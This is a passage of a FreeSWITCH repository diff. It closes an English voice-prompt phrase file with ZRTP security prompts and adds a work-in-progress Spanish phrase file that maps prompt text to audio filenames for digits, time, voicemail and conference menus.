+      <prompt phrase="island" filename="island.wav"/>
+      <prompt phrase="jawbone" filename="jawbone.wav"/>
+      <prompt phrase="keyboard" filename="keyboard.wav"/>
+      <prompt phrase="kickoff" filename="kickoff.wav"/>
+      <prompt phrase="kiwi" filename="kiwi.wav"/>
+      <prompt phrase="klaxon" filename="klaxon.wav"/>
+      <prompt phrase="leprosy" filename="leprosy.wav"/>
+      <prompt phrase="letterhead" filename="letterhead.wav"/>
+      <prompt phrase="liberty" filename="liberty.wav"/>
+      <prompt phrase="locale" filename="locale.wav"/>
+      <prompt phrase="lockup" filename="lockup.wav"/>
+      <prompt phrase="maritime" filename="maritime.wav"/>
+      <prompt phrase="matchmaker" filename="matchmaker.wav"/>
+      <prompt phrase="maverick" filename="maverick.wav"/>
+      <prompt phrase="megaton" filename="megaton.wav"/>
+      <prompt phrase="merit" filename="merit.wav"/>
+      <prompt phrase="microscope" filename="microscope.wav"/>
+      <prompt phrase="microwave" filename="microwave.wav"/>
+      <prompt phrase="midsummer" filename="midsummer.wav"/>
+      <prompt phrase="millionaire" filename="millionaire.wav"/>
+      <prompt phrase="minnow" filename="minnow.wav"/>
+      <prompt phrase="miracle" filename="miracle.wav"/>
+      <prompt phrase="miser" filename="miser.wav"/>
+      <prompt phrase="misnomer" filename="misnomer.wav"/>
+      <prompt phrase="molasses" filename="molasses.wav"/>
+      <prompt phrase="molecule" filename="molecule.wav"/>
+      <prompt phrase="monument" filename="monument.wav"/>
+      <prompt phrase="mosquito" filename="mosquito.wav"/>
+      <prompt phrase="mural" filename="mural.wav"/>
+      <prompt phrase="music" filename="music.wav"/>
+      <prompt phrase="narrative" filename="narrative.wav"/>
+      <prompt phrase="nebula" filename="nebula.wav"/>
+      <prompt phrase="necklace" filename="necklace.wav"/>
+      <prompt phrase="newborn" filename="newborn.wav"/>
+      <prompt phrase="newsletter" filename="newsletter.wav"/>
+      <prompt phrase="nightbird" filename="nightbird.wav"/>
+      <prompt phrase="obtuse" filename="obtuse.wav"/>
+      <prompt phrase="offload" filename="offload.wav"/>
+      <prompt phrase="onlooker" filename="onlooker.wav"/>
+      <prompt phrase="optic" filename="optic.wav"/>
+      <prompt phrase="opulent" filename="opulent.wav"/>
+      <prompt phrase="orca" filename="orca.wav"/>
+      <prompt phrase="outfielder" filename="outfielder.wav"/>
+      <prompt phrase="pandemic" filename="pandemic.wav"/>
+      <prompt phrase="paperweight" filename="paperweight.wav"/>
+      <prompt phrase="paragon" filename="paragon.wav"/>
+      <prompt phrase="paragraph" filename="paragraph.wav"/>
+      <prompt phrase="paramount" filename="paramount.wav"/>
+      <prompt phrase="passenger" filename="passenger.wav"/>
+      <prompt phrase="payday" filename="payday.wav"/>
+      <prompt phrase="peachy" filename="peachy.wav"/>
+      <prompt phrase="pedigree" filename="pedigree.wav"/>
+      <prompt phrase="penetrate" filename="penetrate.wav"/>
+      <prompt phrase="perceptive" filename="perceptive.wav"/>
+      <prompt phrase="performance" filename="performance.wav"/>
+      <prompt phrase="pharmacy" filename="pharmacy.wav"/>
+      <prompt phrase="pheasant" filename="pheasant.wav"/>
+      <prompt phrase="phonetic" filename="phonetic.wav"/>
+      <prompt phrase="photograph" filename="photograph.wav"/>
+      <prompt phrase="physique" filename="physique.wav"/>
+      <prompt phrase="pioneer" filename="pioneer.wav"/>
+      <prompt phrase="playhouse" filename="playhouse.wav"/>
+      <prompt phrase="pocketful" filename="pocketful.wav"/>
+      <prompt phrase="politeness" filename="politeness.wav"/>
+      <prompt phrase="positive" filename="positive.wav"/>
+      <prompt phrase="potato" filename="potato.wav"/>
+      <prompt phrase="preclude" filename="preclude.wav"/>
+      <prompt phrase="prefer" filename="prefer.wav"/>
+      <prompt phrase="preshrunk" filename="preshrunk.wav"/>
+      <prompt phrase="printer" filename="printer.wav"/>
+      <prompt phrase="processor" filename="processor.wav"/>
+      <prompt phrase="provincial" filename="provincial.wav"/>
+      <prompt phrase="prowler" filename="prowler.wav"/>
+      <prompt phrase="proximate" filename="proximate.wav"/>
+      <prompt phrase="puberty" filename="puberty.wav"/>
+      <prompt phrase="publisher" filename="publisher.wav"/>
+      <prompt phrase="pupil" filename="pupil.wav"/>
+      <prompt phrase="puppy" filename="puppy.wav"/>
+      <prompt phrase="pyramid" filename="pyramid.wav"/>
+      <prompt phrase="python" filename="python.wav"/>
+      <prompt phrase="quadrant" filename="quadrant.wav"/>
+      <prompt phrase="quantity" filename="quantity.wav"/>
+      <prompt phrase="quiver" filename="quiver.wav"/>
+      <prompt phrase="quota" filename="quota.wav"/>
+      <prompt phrase="racketeer" filename="racketeer.wav"/>
+      <prompt phrase="ragtime" filename="ragtime.wav"/>
+      <prompt phrase="ratchet" filename="ratchet.wav"/>
+      <prompt phrase="rebellion" filename="rebellion.wav"/>
+      <prompt phrase="rebirth" filename="rebirth.wav"/>
+      <prompt phrase="recipe" filename="recipe.wav"/>
+      <prompt phrase="recover" filename="recover.wav"/>
+      <prompt phrase="reform" filename="reform.wav"/>
+      <prompt phrase="regain" filename="regain.wav"/>
+      <prompt phrase="reindeer" filename="reindeer.wav"/>
+      <prompt phrase="rematch" filename="rematch.wav"/>
+      <prompt phrase="repay" filename="repay.wav"/>
+      <prompt phrase="repellent" filename="repellent.wav"/>
+      <prompt phrase="replica" filename="replica.wav"/>
+      <prompt phrase="reproduce" filename="reproduce.wav"/>
+      <prompt phrase="resistor" filename="resistor.wav"/>
+      <prompt phrase="responsive" filename="responsive.wav"/>
+      <prompt phrase="retouch" filename="retouch.wav"/>
+      <prompt phrase="retraction" filename="retraction.wav"/>
+      <prompt phrase="retrieval" filename="retrieval.wav"/>
+      <prompt phrase="retrospect" filename="retrospect.wav"/>
+      <prompt phrase="revenge" filename="revenge.wav"/>
+      <prompt phrase="revenue" filename="revenue.wav"/>
+      <prompt phrase="revival" filename="revival.wav"/>
+      <prompt phrase="revolver" filename="revolver.wav"/>
+      <prompt phrase="reward" filename="reward.wav"/>
+      <prompt phrase="rhythm" filename="rhythm.wav"/>
+      <prompt phrase="ribcage" filename="ribcage.wav"/>
+      <prompt phrase="ringbolt" filename="ringbolt.wav"/>
+      <prompt phrase="robust" filename="robust.wav"/>
+      <prompt phrase="rocker" filename="rocker.wav"/>
+      <prompt phrase="ruffled" filename="ruffled.wav"/>
+      <prompt phrase="sailboat" filename="sailboat.wav"/>
+      <prompt phrase="sandalwood" filename="sandalwood.wav"/>
+      <prompt phrase="sardonic" filename="sardonic.wav"/>
+      <prompt phrase="savagery" filename="savagery.wav"/>
+      <prompt phrase="sawdust" filename="sawdust.wav"/>
+      <prompt phrase="scallion" filename="scallion.wav"/>
+      <prompt phrase="scavenger" filename="scavenger.wav"/>
+      <prompt phrase="scenic" filename="scenic.wav"/>
+      <prompt phrase="scorecard" filename="scorecard.wav"/>
+      <prompt phrase="seabird" filename="seabird.wav"/>
+      <prompt phrase="select" filename="select.wav"/>
+      <prompt phrase="sensation" filename="sensation.wav"/>
+      <prompt phrase="sentence" filename="sentence.wav"/>
+      <prompt phrase="shadow" filename="shadow.wav"/>
+      <prompt phrase="shamrock" filename="shamrock.wav"/>
+      <prompt phrase="showgirl" filename="showgirl.wav"/>
+      <prompt phrase="skullcap" filename="skullcap.wav"/>
+      <prompt phrase="skydive" filename="skydive.wav"/>
+      <prompt phrase="slingshot" filename="slingshot.wav"/>
+      <prompt phrase="slowdown" filename="slowdown.wav"/>
+      <prompt phrase="snapline" filename="snapline.wav"/>
+      <prompt phrase="snapshot" filename="snapshot.wav"/>
+      <prompt phrase="snowcap" filename="snowcap.wav"/>
+      <prompt phrase="snowslide" filename="snowslide.wav"/>
+      <prompt phrase="sociable" filename="sociable.wav"/>
+      <prompt phrase="solo" filename="solo.wav"/>
+      <prompt phrase="southward" filename="southward.wav"/>
+      <prompt phrase="souvenir" filename="souvenir.wav"/>
+      <prompt phrase="soybean" filename="soybean.wav"/>
+      <prompt phrase="spaniel" filename="spaniel.wav"/>
+      <prompt phrase="spearhead" filename="spearhead.wav"/>
+      <prompt phrase="specialist" filename="specialist.wav"/>
+      <prompt phrase="speculate" filename="speculate.wav"/>
+      <prompt phrase="spellbind" filename="spellbind.wav"/>
+      <prompt phrase="spheroid" filename="spheroid.wav"/>
+      <prompt phrase="spigot" filename="spigot.wav"/>
+      <prompt phrase="spindle" filename="spindle.wav"/>
+      <prompt phrase="spyglass" filename="spyglass.wav"/>
+      <prompt phrase="stagehand" filename="stagehand.wav"/>
+      <prompt phrase="stagnate" filename="stagnate.wav"/>
+      <prompt phrase="stairway" filename="stairway.wav"/>
+      <prompt phrase="standard" filename="standard.wav"/>
+      <prompt phrase="stapler" filename="stapler.wav"/>
+      <prompt phrase="steamship" filename="steamship.wav"/>
+      <prompt phrase="sterling" filename="sterling.wav"/>
+      <prompt phrase="stethoscope" filename="stethoscope.wav"/>
+      <prompt phrase="stockman" filename="stockman.wav"/>
+      <prompt phrase="stopwatch" filename="stopwatch.wav"/>
+      <prompt phrase="stormy" filename="stormy.wav"/>
+      <prompt phrase="stupendous" filename="stupendous.wav"/>
+      <prompt phrase="sugar" filename="sugar.wav"/>
+      <prompt phrase="supportive" filename="supportive.wav"/>
+      <prompt phrase="surmount" filename="surmount.wav"/>
+      <prompt phrase="surrender" filename="surrender.wav"/>
+      <prompt phrase="suspense" filename="suspense.wav"/>
+      <prompt phrase="suspicious" filename="suspicious.wav"/>
+      <prompt phrase="sweatband" filename="sweatband.wav"/>
+      <prompt phrase="swelter" filename="swelter.wav"/>
+      <prompt phrase="sympathy" filename="sympathy.wav"/>
+      <prompt phrase="tactics" filename="tactics.wav"/>
+      <prompt phrase="talon" filename="talon.wav"/>
+      <prompt phrase="tambourine" filename="tambourine.wav"/>
+      <prompt phrase="tapeworm" filename="tapeworm.wav"/>
+      <prompt phrase="telephone" filename="telephone.wav"/>
+      <prompt phrase="tempest" filename="tempest.wav"/>
+      <prompt phrase="therapist" filename="therapist.wav"/>
+      <prompt phrase="tiger" filename="tiger.wav"/>
+      <prompt phrase="tissue" filename="tissue.wav"/>
+      <prompt phrase="tobacco" filename="tobacco.wav"/>
+      <prompt phrase="tolerance" filename="tolerance.wav"/>
+      <prompt phrase="tomorrow" filename="tomorrow.wav"/>
+      <prompt phrase="tonic" filename="tonic.wav"/>
+      <prompt phrase="topmost" filename="topmost.wav"/>
+      <prompt phrase="torpedo" filename="torpedo.wav"/>
+      <prompt phrase="tracker" filename="tracker.wav"/>
+      <prompt phrase="tradition" filename="tradition.wav"/>
+      <prompt phrase="transit" filename="transit.wav"/>
+      <prompt phrase="trauma" filename="trauma.wav"/>
+      <prompt phrase="travesty" filename="travesty.wav"/>
+      <prompt phrase="treadmill" filename="treadmill.wav"/>
+      <prompt phrase="trombonist" filename="trombonist.wav"/>
+      <prompt phrase="trouble" filename="trouble.wav"/>
+      <prompt phrase="truncated" filename="truncated.wav"/>
+      <prompt phrase="tumor" filename="tumor.wav"/>
+      <prompt phrase="tunnel" filename="tunnel.wav"/>
+      <prompt phrase="tycoon" filename="tycoon.wav"/>
+      <prompt phrase="typewriter" filename="typewriter.wav"/>
+      <prompt phrase="ultimate" filename="ultimate.wav"/>
+      <prompt phrase="uncut" filename="uncut.wav"/>
+      <prompt phrase="undaunted" filename="undaunted.wav"/>
+      <prompt phrase="underfoot" filename="underfoot.wav"/>
+      <prompt phrase="unearth" filename="unearth.wav"/>
+      <prompt phrase="unicorn" filename="unicorn.wav"/>
+      <prompt phrase="unify" filename="unify.wav"/>
+      <prompt phrase="universe" filename="universe.wav"/>
+      <prompt phrase="unravel" filename="unravel.wav"/>
+      <prompt phrase="unwind" filename="unwind.wav"/>
+      <prompt phrase="upcoming" filename="upcoming.wav"/>
+      <prompt phrase="uproot" filename="uproot.wav"/>
+      <prompt phrase="upset" filename="upset.wav"/>
+      <prompt phrase="upshot" filename="upshot.wav"/>
+      <prompt phrase="vacancy" filename="vacancy.wav"/>
+      <prompt phrase="vagabond" filename="vagabond.wav"/>
+      <prompt phrase="vapor" filename="vapor.wav"/>
+      <prompt phrase="vertigo" filename="vertigo.wav"/>
+      <prompt phrase="village" filename="village.wav"/>
+      <prompt phrase="virus" filename="virus.wav"/>
+      <prompt phrase="visitor" filename="visitor.wav"/>
+      <prompt phrase="vocalist" filename="vocalist.wav"/>
+      <prompt phrase="voyager" filename="voyager.wav"/>
+      <prompt phrase="waffle" filename="waffle.wav"/>
+      <prompt phrase="wallet" filename="wallet.wav"/>
+      <prompt phrase="warranty" filename="warranty.wav"/>
+      <prompt phrase="watchword" filename="watchword.wav"/>
+      <prompt phrase="wayside" filename="wayside.wav"/>
+      <prompt phrase="whimsical" filename="whimsical.wav"/>
+      <prompt phrase="willow" filename="willow.wav"/>
+      <prompt phrase="woodlark" filename="woodlark.wav"/>
+      <prompt phrase="yesteryear" filename="yesteryear.wav"/>
+      <!-- Event prompts -->
+      <prompt phrase="Welcome to the ZRTP security enrollment agent." filename="zrtp-enroll_welcome.wav"/>
+      <prompt phrase="You must check the authentication string with your partner. If it doesn't match, it indicates the presence of a wire tapper." filename="zrtp-check_sas.wav"/>
+      <prompt phrase="Only phones that are authenticated can be configured to trust this system to relay ZRTP secured calls. Your phone is not authenticated with this system, so this call will have no effect." filename="zrtp-enroll_not_sip_registered.wav"/>
+      <prompt phrase="Your phone indicates that it already trusts this system to relay ZRTP secured calls, so you do not need to do anything more." filename="zrtp-enroll_already_enrolled.wav"/>
+      <prompt phrase="Only phones equipped with the ZRTP protocol can use this extension. Your phone is not a ZRTP-enable phone, so this call will have no effect." filename="zrtp-enroll_notzrtp.wav"/>
+      <prompt phrase="This system is equipped to handle ZRTP encrypted phone calls. You must decide if you want to allow this system to be in a position to intercept and possibly monitor your secure phone calls. You may hang up after you've done this." filename="zrtp-enroll_confirmed.wav"/>
+      <prompt phrase="Verbally compare this authentication code with your partner." filename="zrtp-is_secure.wav"/>
+      <prompt phrase="Authentication code is now unverified." filename="zrtp-is_unverified.wav"/>
+      <prompt phrase="Authentication code is now verified." filename="zrtp-is_verified.wav"/>
+      <prompt phrase="Thank you for calling. Goodbye." filename="zrtp-thankyou_goodbye.wav"/>
+      <prompt phrase="Something's wrong" filename="zrtp-somethings_wrong.wav"/>
+      <prompt phrase="Error." filename="zrtp-status_error.wav"/>
+      <prompt phrase="Call is not secure." filename="zrtp-status_notsecure.wav"/>
+      <prompt phrase="Call is secure." filename="zrtp-status_secure.wav"/>
+      <prompt phrase="Securing call." filename="zrtp-status_securing.wav"/>
+    </zrtp>
   </en>
 </language>

Copied: freeswitch/branches/seven/docs/phrase/phrase_es.xml (from rev 14471, freeswitch/trunk/docs/phrase/phrase_es.xml) (0 => 14472)


--- freeswitch/branches/seven/docs/phrase/phrase_es.xml	                        (rev 0)
+++ freeswitch/branches/seven/docs/phrase/phrase_es.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,340 @@
+<!-- This file is a work in progress.
+     If you know how to translate from English to Spanish then please
+     contact Michael Collins (msc@freeswitch.org or IRC: mercutioviz)
+-->
+<language>
+  <en>
+    <ascii>
+      <prompt phrase="Espacio" filename="32.wav"/>
+      <prompt phrase="Signo de número" filename="35.wav"/>
+      <prompt phrase="Asterisco" filename="42.wav"/>
+      <prompt phrase="Punto" filename="46.wav"/>
+      <prompt phrase="A" filename="97.wav"/>
+      <prompt phrase="B" filename="98.wav"/>
+      <prompt phrase="C" filename="99.wav"/>
+      <prompt phrase="D" filename="100.wav"/>
+      <prompt phrase="E" filename="101.wav"/>
+      <prompt phrase="F" filename="102.wav"/>
+      <prompt phrase="G" filename="103.wav"/>
+      <prompt phrase="H" filename="104.wav"/>
+      <prompt phrase="I" filename="105.wav"/>
+      <prompt phrase="J" filename="106.wav"/>
+      <prompt phrase="K" filename="107.wav"/>
+      <prompt phrase="L" filename="108.wav"/>
+      <prompt phrase="LL" filename="???.wav"/>
+      <prompt phrase="M" filename="109.wav"/>
+      <prompt phrase="N" filename="110.wav"/>
+      <prompt phrase="Ñ" filename="???.wav"/>
+      <prompt phrase="O" filename="111.wav"/>
+      <prompt phrase="P" filename="112.wav"/>
+      <prompt phrase="Q" filename="113.wav"/>
+      <prompt phrase="R" filename="114.wav"/>
+      <prompt phrase="S" filename="115.wav"/>
+      <prompt phrase="T" filename="116.wav"/>
+      <prompt phrase="U" filename="117.wav"/>
+      <prompt phrase="V" filename="118.wav"/>
+      <prompt phrase="W" filename="119.wav"/>
+      <prompt phrase="X" filename="120.wav"/>
+      <prompt phrase="Y" filename="121.wav"/>
+      <prompt phrase="Z" filename="122.wav"/>
+    </ascii>
+    <phonetic-ascii>
+      <prompt phrase="Espacio" filename="32.wav"/>
+      <prompt phrase="Punto" filename="46.wav"/>
+      <prompt phrase="Alpha" filename="97.wav"/>
+      <prompt phrase="Bravo" filename="98.wav"/>
+      <prompt phrase="Charlie" filename="99.wav"/>
+      <prompt phrase="Delta" filename="100.wav"/>
+      <prompt phrase="Echo" filename="101.wav"/>
+      <prompt phrase="Foxtrot" filename="102.wav"/>
+      <prompt phrase="Golf" filename="103.wav"/>
+      <prompt phrase="Hotel" filename="104.wav"/>
+      <prompt phrase="India" filename="105.wav"/>
+      <prompt phrase="Juliet" filename="106.wav"/>
+      <prompt phrase="Kilo" filename="107.wav"/>
+      <prompt phrase="Lima" filename="108.wav"/>
+      <prompt phrase="Mike" filename="109.wav"/>
+      <prompt phrase="November" filename="110.wav"/>
+      <prompt phrase="Oscar" filename="111.wav"/>
+      <prompt phrase="Papa" filename="112.wav"/>
+      <prompt phrase="Quebec" filename="113.wav"/>
+      <prompt phrase="Romeo" filename="114.wav"/>
+      <prompt phrase="Sierra" filename="115.wav"/>
+      <prompt phrase="Tango" filename="116.wav"/>
+      <prompt phrase="Unifor" filename="117.wav"/>
+      <prompt phrase="Victor" filename="118.wav"/>
+      <prompt phrase="Whiskey" filename="119.wav"/>
+      <prompt phrase="Xray" filename="120.wav"/>
+      <prompt phrase="Yankee" filename="121.wav"/>
+      <prompt phrase="Zulu" filename="122.wav"/>
+    </phonetic-ascii>
+    <digits>
+      <prompt phrase="Cero" filename="0.wav"/>
+      <prompt phrase="Uno" filename="1.wav"/>
+      <prompt phrase="Dos" filename="2.wav"/>
+      <prompt phrase="Tres" filename="3.wav"/>
+      <prompt phrase="Cuatro" filename="4.wav"/>
+      <prompt phrase="Cinco" filename="5.wav"/>
+      <prompt phrase="Seis" filename="6.wav"/>
+      <prompt phrase="Siete" filename="7.wav"/>
+      <prompt phrase="Ocho" filename="8.wav"/>
+      <prompt phrase="Nueve" filename="9.wav"/>
+      <prompt phrase="Diez" filename="10.wav"/>
+      <prompt phrase="Once" filename="11.wav"/>
+      <prompt phrase="Doce" filename="12.wav"/>
+      <prompt phrase="Trece" filename="13.wav"/>
+      <prompt phrase="Catorce" filename="14.wav"/>
+      <prompt phrase="Quince" filename="15.wav"/>
+      <prompt phrase="Dieciséis" filename="16.wav"/>
+      <prompt phrase="Diecisiete" filename="17.wav"/>
+      <prompt phrase="Dieciocho" filename="18.wav"/>
+      <prompt phrase="Diecinueve" filename="19.wav"/>
+      <prompt phrase="Veinte" filename="20.wav"/>
+<!-- In english we just say twenty one
+in spanish we say veintiuno etc in the 20's
+and treinta y uno etc from 30's on
+-->
+      <prompt phrase="Veintiuno" filename="21.wav"/>
+      <prompt phrase="Veintidos" filename="22.wav"/>
+      <prompt phrase="Veintitrés" filename="23.wav"/>
+      <prompt phrase="Veinticuatro" filename="24.wav"/>
+      <prompt phrase="Veinticinco" filename="25.wav"/>
+      <prompt phrase="Veintiséis" filename="26.wav"/>
+      <prompt phrase="Veintisiete" filename="27.wav"/>
+      <prompt phrase="Veintiocho" filename="28.wav"/>
+      <prompt phrase="Veintinueve" filename="29.wav"/>
+      <prompt phrase="Treinta" filename="30.wav"/>
+      <prompt phrase="Cuarenta" filename="40.wav"/>
+      <prompt phrase="Cincuenta" filename="50.wav"/>
+      <prompt phrase="Sesenta" filename="60.wav"/>
+      <prompt phrase="Setenta" filename="70.wav"/>
+      <prompt phrase="Ochenta" filename="80.wav"/>
+      <prompt phrase="Noventa" filename="90.wav"/>
+      <prompt phrase="Punto" filename="dot.wav"/>
+<!-- This part is not easy... it depends on context
+When used as an adjective, ordinal numbers must agree 
+with the nouns the refer to in both number and gender: 
+el segundo coche ("the second car"), 
+but la segunda vez ("the second time").
+
+Note also that when primero and tercero precede a singular 
+masculine noun, the final -o is dropped: 
+el primer rey ("the first king"), 
+el tercer trimestre ("the third trimester").
+I will assume a non singular masculine noun for the sake
+of translating something
+-->
+      <prompt phrase="Primero" filename="h-1.wav"/>
+      <prompt phrase="Segundo" filename="h-2.wav"/>
+      <prompt phrase="Tercero" filename="h-3.wav"/>
+      <prompt phrase="Cuarto" filename="h-4.wav"/>
+      <prompt phrase="Quinto" filename="h-5.wav"/>
+      <prompt phrase="Sexto" filename="h-6.wav"/>
+      <prompt phrase="Séptimo" filename="h-7.wav"/>
+      <prompt phrase="Octavo" filename="h-8.wav"/>
+      <prompt phrase="Noveno" filename="h-9.wav"/>
+      <prompt phrase="Décimo" filename="h-10.wav"/>
+<!-- For larger numbers, it is common to use simply the 
+cardinal number, especially in speech. Thus el siglo veinte 
+("the 20th century") is more common than the cardinal form, 
+el siglo vigésimo, and in writing the numerical form (el siglo 20) 
+is often used. It is also common to word a sentence in such a way 
+that the ordinal form is not used. So, for example, cumple cuarenta 
+y cinco años would be the most common way of saying it is someone's 
+45th birthday. In general, the ordinal numbers for 11th and above 
+can be considered mostly a formal usage.
+I will translate them anyways
+-->
+      <prompt phrase="Undécimo" filename="h-11.wav"/>
+      <prompt phrase="Duodécimo" filename="h-12.wav"/>
+      <prompt phrase="Decimotecero" filename="h-13.wav"/>
+      <prompt phrase="Decimocuarto" filename="h-14.wav"/>
+      <prompt phrase="Decimoquinto" filename="h-15.wav"/>
+      <prompt phrase="Decimosexto" filename="h-16.wav"/>
+      <prompt phrase="Decimoséptimo" filename="h-17.wav"/>
+      <prompt phrase="Decimoctavo" filename="h-18.wav"/>
+      <prompt phrase="Decimonoveno" filename="h-19.wav"/>
+      <prompt phrase="Vigésimo" filename="h-20.wav"/>
+      <prompt phrase="Trigésimo" filename="h-30.wav"/>
+      <prompt phrase="Cien" filename="hundred.wav"/>
+      <prompt phrase="Millón" filename="million.wav"/>
+      <prompt phrase="Período" filename="period.wav"/>
+      <prompt phrase="Punto" filename="point.wav"/>
+      <prompt phrase="Signo de número" filename="pound.wav"/>
+      <prompt phrase="Asterisco" filename="star.wav"/>
+      <prompt phrase="Mil" filename="thousand.wav"/>
+    </digits>
+    <currency>
+      <prompt phrase="Y" filename="and.wav"/>
+      <prompt phrase="Centavo" filename="cent.wav"/>
+      <prompt phrase="Central" filename="central.wav"/>
+      <prompt phrase="Centavos por minuto" filename="cents-per-minute.wav"/>
+      <prompt phrase="Centavos" filename="cents.wav"/>
+      <prompt phrase="Dolar" filename="dollar.wav"/>
+      <prompt phrase="Dólares" filename="dollars.wav"/>
+      <prompt phrase="Menos" filename="minus.wav"/>
+      <prompt phrase="Negativo" filename="negative.wav"/>
+    </currency>
+    <time>
+      <prompt phrase="A.M." filename="a-m.wav"/>
+      <prompt phrase="A" filename="at.wav"/>
+      <prompt phrase="Domingo" filename="day-0.wav"/>
+      <prompt phrase="Lunes" filename="day-1.wav"/>
+      <prompt phrase="Martes" filename="day-2.wav"/>
+      <prompt phrase="Miércoles" filename="day-3.wav"/>
+      <prompt phrase="Jueves" filename="day-4.wav"/>
+      <prompt phrase="Viernes" filename="day-5.wav"/>
+      <prompt phrase="Sábado" filename="day-6.wav"/>
+      <prompt phrase="Hora" filename="hour.wav"/>
+      <prompt phrase="Horas" filename="hours.wav"/>
+      <prompt phrase="Minuto" filename="minute.wav"/>
+      <prompt phrase="Minutos" filename="minutes.wav"/>
+      <prompt phrase="Enero" filename="mon-0.wav"/>
+      <prompt phrase="Febrero" filename="mon-1.wav"/>
+      <prompt phrase="Marzo" filename="mon-2.wav"/>
+      <prompt phrase="Abril" filename="mon-3.wav"/>
+      <prompt phrase="Mayo" filename="mon-4.wav"/>
+      <prompt phrase="Junio" filename="mon-5.wav"/>
+      <prompt phrase="Julio" filename="mon-6.wav"/>
+      <prompt phrase="Agosto" filename="mon-7.wav"/>
+      <prompt phrase="Septiembre" filename="mon-8.wav"/>
+      <prompt phrase="Octubre" filename="mon-9.wav"/>
+      <prompt phrase="Noviembre" filename="mon-10.wav"/>
+      <prompt phrase="Diciembre" filename="mon-11.wav"/>
+      <prompt phrase="En punto" filename="oclock.wav"/>
+      <prompt phrase="oh" filename="oh.wav"/>
+      <prompt phrase="P.M." filename="p-m.wav"/>
+      <prompt phrase="Segundo" filename="second.wav"/>
+      <prompt phrase="Segundos" filename="seconds.wav"/>
+      <prompt phrase="Hoy" filename="today.wav"/>
+      <prompt phrase="Mañana" filename="tomorrow.wav"/>
+      <prompt phrase="Ayer" filename="yesterday.wav"/>
+    </time>
+    <voicemail>
+      <prompt phrase="La persona a la extensión" filename="vm-person.wav"/>
+      <prompt phrase="marcado urgente" filename="vm-marked-urgent.wav"/>
+      <prompt phrase="correo electrónico" filename="vm-emailed.wav"/>
+      <prompt phrase="usted tiene" filename="vm-you_have.wav"/>
+      <prompt phrase="por favor ingrese su numero de usuario, seguido por" filename="vm-enter_id.wav"/>
+      <prompt phrase="por favor ingrese su contraseña, seguido por" filename="vm-enter_pass.wav"/>
+      <prompt phrase="inicio de sesión incorrectos" filename="vm-fail_auth.wav"/>
+      <prompt phrase="bienvenido a su buzon de voz" filename="vm-hello.wav"/>
+      <prompt phrase="Gracias por llamar" filename="vm-goodbye.wav"/>
+      <prompt phrase="después del tono, por favor anote su nombre, pulse cualquier tecla o deje de hablar para poner fin a la grabación." filename="vm-record_name1.wav"/>
+      <prompt phrase="elija un saludo entre 1 y 9" filename="vm-choose_greeting_choose.wav"/>
+      <prompt phrase="valor inválido" filename="vm-choose_greeting_fail.wav"/>
+      <prompt phrase="demasiados intentos fallidos" filename="vm-abort.wav"/>
+      <prompt phrase="para cambiar su clave" filename="vm-change_password.wav"/>
+      <prompt phrase="grabe su saludo después del tono, pulse cualquier tecla o deje de hablar para poner fin a la grabación" filename="vm-record_greeting.wav"/>
+      <prompt phrase="grabe su mensaje después del tono, pulse cualquier tecla o deje de hablar para poner fin a la grabación" filename="vm-record_message.wav"/>
+      <prompt phrase="no está disponible" filename="vm-play_greeting.wav"/>
+      <prompt phrase="urgente nuevo" filename="vm-urgent-new.wav"/>
+      <prompt phrase="nuevo" filename="vm-new.wav"/>
+      <prompt phrase="urgente guardado" filename="vm-urgent-saved.wav"/>
+      <prompt phrase="guardado" filename="vm-saved.wav"/>
+      <prompt phrase="mensaje" filename="vm-message.wav"/>
+      <prompt phrase="mensajes" filename="vm-messages.wav"/>
+      <prompt phrase="presione" filename="vm-press.wav"/>
+      <prompt phrase="para escuchar mensajes nuevos" filename="vm-listen_new.wav"/>
+      <prompt phrase="para escuchar mensajes guardados" filename="vm-listen_saved.wav"/>
+      <prompt phrase="para opciones avanzadas" filename="vm-advanced.wav"/>
+      <prompt phrase="para salir" filename="vm-to_exit.wav"/>
+      <prompt phrase="para guardar un saludo" filename="vm-record_greeting.wav"/>
+      <prompt phrase="para elegir un saludo" filename="vm-choose_greeting.wav"/>
+      <prompt phrase="para grabar su nombre" filename="vm-record_name2.wav"/>
+      <prompt phrase="para el menú principal" filename="vm-main_menu.wav"/>
+      <prompt phrase="para escuchar la grabación" filename="vm-listen_to_recording.wav"/>
+      <prompt phrase="para guardar la grabación" filename="vm-save_recording.wav"/>
+      <prompt phrase="para regrabar" filename="vm-rerecord.wav"/>
+      <prompt phrase="para marcar este mensaje como urgente" filename="vm-mark-urgent.wav"/>
+      <prompt phrase="para continuar" filename="vm-continue.wav"/>
+      <prompt phrase="para escuchar la grabación de nuevo" filename="vm-listen_to_recording_again.wav"/>
+      <prompt phrase="para eliminar la grabación" filename="vm-delete_recording.wav"/>
+      <prompt phrase="para enviar la grabación a su e-mail" filename="vm-forward_to_email.wav"/>
+      <prompt phrase="saludo" filename="vm-greeting.wav"/>
+      <prompt phrase="seleccionado" filename="vm-selected.wav"/>
+      <prompt phrase="no está disponible" filename="vm-not_available.wav"/>
+      <prompt phrase="mensaje número" filename="vm-message_number.wav"/>
+      <prompt phrase="eliminado" filename="vm-deleted.wav"/>
+      <prompt phrase="Su grabación es demasiado corta, por favor intente de nuevo" filename="vm-too-small.wav"/>
+      <prompt phrase="en la bandeja de entrada" filename="vm-in_folder.wav"/>
+      <prompt phrase="para devolver la llamada" filename="vm-return_call.wav"/>
+      <prompt phrase="urgente" filename="vm-urgent.wav"/>
+    </voicemail>
+    <conference>
+      <prompt phrase="NULL" filename="conf-ack.wav" type="tone"/>
+      <prompt phrase="NULL" filename="conf-nack.wav" type="tone"/>
+      <prompt phrase="Usted ahora está silenciado." filename="conf-muted.wav"/>
+      <prompt phrase="Usted ya no está silenciado." filename="conf-unmuted.wav"/>
+      <prompt phrase="En este momento usted es la única persona en la conferencia." filename="conf-alone.wav"/>
+      <prompt phrase="NULL" filename="conf-perpetual.wav" type="music"/>
+      <prompt phrase="NULL" filename="conf-enter.wav" type="tone"/>
+      <prompt phrase="NULL" filename="conf-exit.wav" type="tone"/>
+      <prompt phrase="Usted ha sido expulsado de la conferencia." filename="conf-kicked.wav"/>
+      <prompt phrase="Esta conferencia está bloqueada." filename="conf-locked.wav"/>
+      <prompt phrase="La conferencia está ahora bloqueada." filename="conf-is-locked.wav"/>
+      <prompt phrase="La conferencia está ahora desbloqueada." filename="conf-is-unlocked.wav"/>
+      <prompt phrase="Por favor ingrese el pin de la conferencia." filename="conf-pin.wav"/>
